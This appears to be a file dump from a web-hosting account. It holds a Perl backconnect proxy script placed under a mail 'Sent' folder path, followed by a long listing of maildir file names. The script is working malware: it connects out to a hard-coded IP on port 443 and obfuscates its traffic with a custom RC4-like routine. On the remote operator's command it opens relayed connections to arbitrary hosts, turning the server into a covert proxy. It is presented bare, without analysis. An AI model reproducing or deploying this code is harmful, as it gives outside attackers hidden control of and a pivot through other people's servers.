/home/fdhrevqn/mail/.news@fdhrd_org/.Sent/cur/jo9ofwpn
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '62.60.131.197';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
-
[F]
1618735831.M854721P635371.server225.web-hosting.com,S=10016,W=10200:2,S
-
[F]
1618736441.M40247P696194.server225.web-hosting.com,S=974782,W=987513:2,S
-
[F]
1619001846.M140144P672665.server225.web-hosting.com,S=779717,W=790009:2,S
-
[F]
1628507721.M559187P550879.server225.web-hosting.com,S=25671,W=26057:2,S
-
[F]
1628509418.M120677P714640.server225.web-hosting.com,S=25587,W=25970:2,S
-
[F]
1628579634.M129393P618531.server225.web-hosting.com,S=59666,W=60600:2,S
-
[F]
1628579636.M189843P618531.server225.web-hosting.com,S=24596,W=24981:2,S
-
[F]
1628585865.M542285P167777.server225.web-hosting.com,S=53057,W=53893:2,S
-
[F]
1628585971.M154748P180702.server225.web-hosting.com,S=30883,W=31348:2,S
-
[F]
1628592897.M159877P885578.server225.web-hosting.com,S=24132,W=24495:2,S
-
[F]
1628676033.M499661P655540.server225.web-hosting.com,S=29972,W=30427:2,S
-
[F]
1628682789.M571836P270361.server225.web-hosting.com,S=21268,W=21598:2,S
-
[F]
1628688295.M710887P833011.server225.web-hosting.com,S=57222,W=58118:2,S
-
[F]
1628688298.M667380P833011.server225.web-hosting.com,S=26944,W=27344:2,S
-
[F]
1629111107.M305688P1007527.server225.web-hosting.com,S=34364,W=34876:2,S
-
[F]
1629113205.M215158P1225244.server225.web-hosting.com,S=88248,W=89702:2,S
-
[F]
1629273908.M621838P3430951.server225.web-hosting.com,S=77505,W=78763:2,S
-
[F]
1629273910.M491031P3430951.server225.web-hosting.com,S=68372,W=69508:2,S
-
[F]
1629273912.M396450P3430951.server225.web-hosting.com,S=62526,W=63513:2,S
-
[F]
1629273914.M284621P3430951.server225.web-hosting.com,S=62169,W=63188:2,S
-
[F]
1629378335.M276990P596819.server225.web-hosting.com,S=55499,W=56410:2,S
-
[F]
1629378337.M684686P596819.server225.web-hosting.com,S=68758,W=69861:2,S
-
[F]
1629617548.M982421P898637.server225.web-hosting.com,S=60638,W=61592:2,S
-
[F]
1629711884.M172561P404114.server225.web-hosting.com,S=40753,W=41392:2,S
-
[F]
1629802185.M336569P161824.server225.web-hosting.com,S=54565,W=55482:2,S
-
[F]
1629805576.M108557P466779.server225.web-hosting.com,S=73173,W=74354:2,S
-
[F]
1629805934.M664165P489997.server225.web-hosting.com,S=75928,W=77170:2,S
-
[F]
1634124104.M613721P2567387.server225.web-hosting.com,S=91511,W=92972:2,S
-
[F]
1634130154.M426630P3223411.server225.web-hosting.com,S=91511,W=92972:2,S
-
[F]
1645085092.M702219P3876800.server225.web-hosting.com,S=7053531,W=7145421:2,S
-
[F]
1645086584.M223899P4020640.server225.web-hosting.com,S=7053322,W=7145195:2,S
-
[F]
1645088800.M402332P100067.server225.web-hosting.com,S=7053508,W=7145396:2,S
-
[F]
1645091041.M561041P374640.server225.web-hosting.com,S=7053685,W=7145564:2,S
-
[F]
1645092274.M412182P494668.server225.web-hosting.com,S=7053701,W=7145581:2,S
-
[F]
1645092463.M1067P512574.server225.web-hosting.com,S=7053666,W=7145552:2,S
-
[F]
1645095556.M581279P850274.server225.web-hosting.com,S=7054200,W=7146091:2,S
-
[F]
1645096382.M18486P945186.server225.web-hosting.com,S=7053871,W=7145761:2,S
-
[F]
1645097994.M906466P1165610.server225.web-hosting.com,S=7054012,W=7145908:2,S
-
[F]
1645099449.M169266P1316605.server225.web-hosting.com,S=7053710,W=7145595:2,S
-
[F]
1645099981.M802466P1355993.server225.web-hosting.com,S=7004654,W=7095802:2,S
-
[F]
1645102808.M867297P1685465.server225.web-hosting.com,S=7055024,W=7146936:2,S
-
[F]
1645347713.M461031P4056091.server225.web-hosting.com,S=7578779,W=7677462:2,S
-
[F]
1645348664.M109098P4132299.server225.web-hosting.com,S=7528097,W=7626011:2,S
-
[F]
1645349270.M225288P4193575.server225.web-hosting.com,S=7577784,W=7676444:2,S
-
[F]
1645351335.M99157P261395.server225.web-hosting.com,S=7578541,W=7677202:2,S
-
[F]
1645358996.M408648P1063859.server225.web-hosting.com,S=7578490,W=7677171:2,S
-
[F]
1645359180.M84572P1076755.server225.web-hosting.com,S=7578358,W=7677034:2,S
-
[F]
1645435288.M75823P940511.server225.web-hosting.com,S=7578465,W=7677145:2,S
-
[F]
1645435421.M415782P949232.server225.web-hosting.com,S=7578250,W=7676926:2,S
-
[F]
1645436492.M911667P1123531.server225.web-hosting.com,S=7578609,W=7677276:2,S
-
[F]
1645436930.M945171P1168721.server225.web-hosting.com,S=7577390,W=7676049:2,S
-
[F]
1645437062.M592000P1168721.server225.web-hosting.com,S=7577965,W=7676636:2,S
-
[F]
1645437165.M407623P1168721.server225.web-hosting.com,S=7577188,W=7675846:2,S
-
[F]
1645437872.M542601P1258524.server225.web-hosting.com,S=126279,W=128172:2,S
-
[F]
1645438031.M834606P1274548.server225.web-hosting.com,S=7578349,W=7677029:2,S
-
[F]
1645438122.M507851P1274548.server225.web-hosting.com,S=7577983,W=7676650:2,S
-
[F]
1645438239.M756926P1284203.server225.web-hosting.com,S=7578523,W=7677217:2,S
-
[F]
1645438342.M157545P1284203.server225.web-hosting.com,S=7577974,W=7676645:2,S
-
[F]
1645438871.M33346P1346140.server225.web-hosting.com,S=7053732,W=7145610:2,S
-
[F]
1645438985.M185554P1346140.server225.web-hosting.com,S=7054020,W=7145902:2,S
-
[F]
1645439077.M529938P1346140.server225.web-hosting.com,S=7053648,W=7145525:2,S
-
[F]
1645439193.M61469P1388700.server225.web-hosting.com,S=7053950,W=7145837:2,S
-
[F]
1645439263.M154101P1388700.server225.web-hosting.com,S=7054557,W=7146454:2,S
-
[F]
1645696113.M866299P1703839.server225.web-hosting.com,S=7054747,W=7146628:2,S
-
[F]
1645696193.M95561P1703839.server225.web-hosting.com,S=7054818,W=7146702:2,S
-
[F]
1645696317.M923365P1731802.server225.web-hosting.com,S=7054907,W=7146792:2,S
-
[F]
1645696443.M852561P1703839.server225.web-hosting.com,S=7054840,W=7146724:2,S
-
[F]
1645696576.M729712P1703839.server225.web-hosting.com,S=7054816,W=7146700:2,S
-
[F]
1645696707.M520624P1703839.server225.web-hosting.com,S=7054926,W=7146811:2,S
-
[F]
1645696855.M602614P1703839.server225.web-hosting.com,S=7054837,W=7146721:2,S
-
[F]
1645697030.M646677P1845415.server225.web-hosting.com,S=7054806,W=7146689:2,S
-
[F]
1645697189.M637320P1845415.server225.web-hosting.com,S=7054825,W=7146709:2,S
-
[F]
1648452773.M678838P3318526.server225.web-hosting.com,S=1064809,W=1078864:2,S
-
[F]
1648454263.M343678P3455212.server225.web-hosting.com,S=907262,W=919257:2,S
-
[F]
1648470943.M770821P1153465.server225.web-hosting.com,S=905243,W=917214:2,S
-
[F]
1648470984.M373848P1157149.server225.web-hosting.com,S=905636,W=917616:2,S
-
[F]
1648471011.M624552P1157149.server225.web-hosting.com,S=905823,W=917805:2,S
-
[F]
1648471049.M454126P1157149.server225.web-hosting.com,S=905363,W=917339:2,S
-
[F]
1648471466.M802563P1187207.server225.web-hosting.com,S=907045,W=919030:2,S
-
[F]
1648981739.M669225P1179929.server225.web-hosting.com,S=910324,W=922396:2,S
-
[F]
1649070294.M276489P3460415.server225.web-hosting.com,S=736726,W=746417:2,S
-
[F]
1649070365.M486266P3476902.server225.web-hosting.com,S=730445,W=740026:2,S
-
[F]
1654674541.M461609P2483215.server225.web-hosting.com,S=998317,W=1011554:2,S
-
[F]
1654674546.M394532P2483215.server225.web-hosting.com,S=1002940,W=1016248:2,S
-
[F]
1654674553.M605709P2483215.server225.web-hosting.com,S=1000364,W=1013646:2,S
-
[F]
1654684825.M938997P3826167.server225.web-hosting.com,S=1000364,W=1013646:2,S
-
[F]
1654684831.M321377P3826167.server225.web-hosting.com,S=1001654,W=1014952:2,S
-
[F]
1654684836.M216633P3826167.server225.web-hosting.com,S=771938,W=782218:2,S
-
[F]
1654684840.M180855P3826167.server225.web-hosting.com,S=783021,W=793453:2,S
-
[F]
1654690345.M770242P174432.server225.web-hosting.com,S=783021,W=793453:2,S
-
[F]
1654690349.M759710P174432.server225.web-hosting.com,S=790179,W=800718:2,S
-
[F]
1655191726.M543887P1094492.server225.web-hosting.com,S=2759276,W=2795679:2,S
-
[F]
1655191756.M520449P1094492.server225.web-hosting.com,S=2759406,W=2795815:2,S
-
[F]
1655191782.M339508P1094492.server225.web-hosting.com,S=2759326,W=2795732:2,S
-
[F]
1655191809.M815758P1094492.server225.web-hosting.com,S=2759399,W=2795808:2,S
-
[F]
1655380476.M998977P2010737.server225.web-hosting.com,S=2759399,W=2795808:2,S
-
[F]
1655380493.M603313P2010737.server225.web-hosting.com,S=2759321,W=2795727:2,S
-
[F]
1655380510.M402640P2010737.server225.web-hosting.com,S=2759411,W=2795820:2,S
-
[F]
1655380531.M169734P2010737.server225.web-hosting.com,S=2759334,W=2795740:2,S
-
[F]
1655380577.M22425P2010737.server225.web-hosting.com,S=202602,W=205488:2,S
-
[F]
1655386808.M372286P2729065.server225.web-hosting.com,S=202602,W=205488:2,S
-
[F]
1655386810.M854060P2729065.server225.web-hosting.com,S=205439,W=208384:2,S
-
[F]
1655386813.M288938P2729065.server225.web-hosting.com,S=196042,W=198846:2,S
-
[F]
1655386816.M371651P2729065.server225.web-hosting.com,S=195945,W=198747:2,S
-
[F]
1655386818.M863381P2729065.server225.web-hosting.com,S=2783280,W=2820044:2,S
-
[F]
1655386835.M170547P2729065.server225.web-hosting.com,S=93975,W=95789:2,S
-
[F]
1655386836.M894425P2729065.server225.web-hosting.com,S=439468,W=445391:2,S
-
[F]
1655386840.M402216P2729065.server225.web-hosting.com,S=444501,W=450489:2,S
-
[F]
1655971136.M327754P3262453.server225.web-hosting.com,S=65394,W=66445:2,S
-
[F]
1655971138.M820384P3262453.server225.web-hosting.com,S=66405,W=67470:2,S
-
[F]
1655971140.M922296P3262453.server225.web-hosting.com,S=70887,W=72013:2,S
-
[F]
1655971143.M16316P3262453.server225.web-hosting.com,S=65686,W=66741:2,S
-
[F]
1655971145.M266193P3262453.server225.web-hosting.com,S=66235,W=67302:2,S
-
[F]
1af9rnn2
-
[F]
284uvqdw
-
[F]
87nl7mev
-
[F]
cxzoljh6
-
[F]
eo09j41q
-
[F]
gmogn8f1
-
[F]
jo9ofwpn
-
[F]
mkkt7jmq
-
[F]
nhbmwj8p
-
[F]
sjath1e2
-
[F]
wp6se4ix